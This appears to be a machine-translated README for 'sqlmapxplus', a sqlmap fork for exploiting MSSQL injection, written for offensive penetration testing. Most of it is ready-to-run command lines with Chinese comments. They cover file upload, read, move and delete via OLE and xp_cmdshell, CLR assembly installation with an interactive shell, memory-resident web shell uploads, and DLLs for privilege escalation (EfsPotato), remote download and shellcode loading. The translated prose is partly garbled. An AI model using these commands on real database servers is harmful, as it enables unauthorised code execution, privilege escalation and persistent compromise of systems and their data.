Bei vielen regionalen Angriffs- und Verteidigungsübungen kommt es bei der Injektion von SQL Server-Datenbankstapeln immer noch zu einer hohen Häufigkeit von Löchern, jedoch aufgrund einiger häufiger Einschränkungen bei Übungsszenarien, wie z. B. kein Netzwerkzugriff, geringe Berechtigungen, Standort- und Datenbanktrennung, Terminalschutz und Schwierigkeiten Beim Online-Gehen ist die Berechtigungspflege umständlich und nur eine --os-Shell kann unsere Anforderungen nicht mehr erfüllen.
sqlmapxplus basiert auf sqlmap, öffnet das klassische Tool zur Ausnutzung von Datenbankschwachstellen erneut, verweist auf verschiedene Lösungen und fügt Methoden zur Nutzung der MSSQL-Datenbankinjektion hinzu. Derzeit ist ein Teil der zweiten Entwicklung abgeschlossen, einschließlich des Datei-Uploads von OLE und der Funktion zum automatischen Laden von Shellcode.
20240508 Update-Anweisungen : Neu hinzugefügte Funktion zum Öffnen von Ole, neue Funktion zum Lesen bestimmter Dateien, neue Funktion zum Verschieben bestimmter Dateien, neue Funktion zum Kopieren bestimmter Dateien, neue Funktion zum Löschen bestimmter Dateien, neue Funktion zum Bestimmen des Speicherorts bestimmter Dateien, neu Funktion der Speicherprozessabfragefunktion, neue Funktion zum Löschen gespeicherter Prozesse, Änderung der Ole-Upload-Methode, Änderung des Clr-Installationsprozesses, Änderung der Clr-Befehlsausführungsmethode, Beseitigung von durch chinesische Kommentare verursachten Fehlern
Ziel ist es, das Problem des Clr-Installationsfehlers zu lösen, der durch einen DLL-Übertragungsverlust während des eigentlichen Netzwerkprozesses verursacht wird (vorübergehende Lösung). Es wurde festgestellt, dass die in der ursprünglichen Funktion --install-clr verwendete Clr-DLL zu groß ist und eine große Anzahl von Injektionen vorliegt Wird häufig im tatsächlichen Kampf benötigt. Wenn beim Injektionsprozess ein bestimmter Fehler auftritt, schlägt die Implementierung der DLL fehl und der ursprüngliche automatische Ein-Klick-Installationsprozess wird jetzt entfernt und geändert, um dem Benutzer die Anpassung zu ermöglichen DLL-Installation basierend auf der tatsächlichen Zielsituation und vorübergehend hinzufügen --check- Die Dateioption bestimmt, ob die DLL-Datei erfolgreich auf dem Zielhost gelandet ist. Fügen Sie vorübergehend --check-clr hinzu, um festzustellen, ob die benutzerdefinierte Funktion erfolgreich geladen wurde die Datenbank.
Warum tritt beim Hochladen das Problem der DLL-Verstärkung auf? Durch die Konvertierung in Hexadezimalzahl und die anschließende Wiederherstellung wird die Datei vergrößert. Beispielsweise wird der Buchstabe A in Hexadezimalzahl umgewandelt, wodurch sich die Größe verdoppelt.
Probleme beim Anpassen von clr (abgeschlossen) install-clr wurde geändert, um die Angabe des benutzerdefinierten Klassennamens in das Eingabeaufforderungsfeld und des benutzerdefinierten Methodennamens clr_shell-Modus zu erfordern im clr_shell-Modus wird wie folgt geändert: Benutzerdefinierte Funktion übergibt Parameter (abgeschlossen)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
über Ole :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
weitere Funktionen:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
über clr :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
Öffentlicher Account: Cyber War
Knowledge Planet: Leitfaden für Penetrationstests
Referenzlink für die alte Version: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
Referenzlink für die neue Version: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/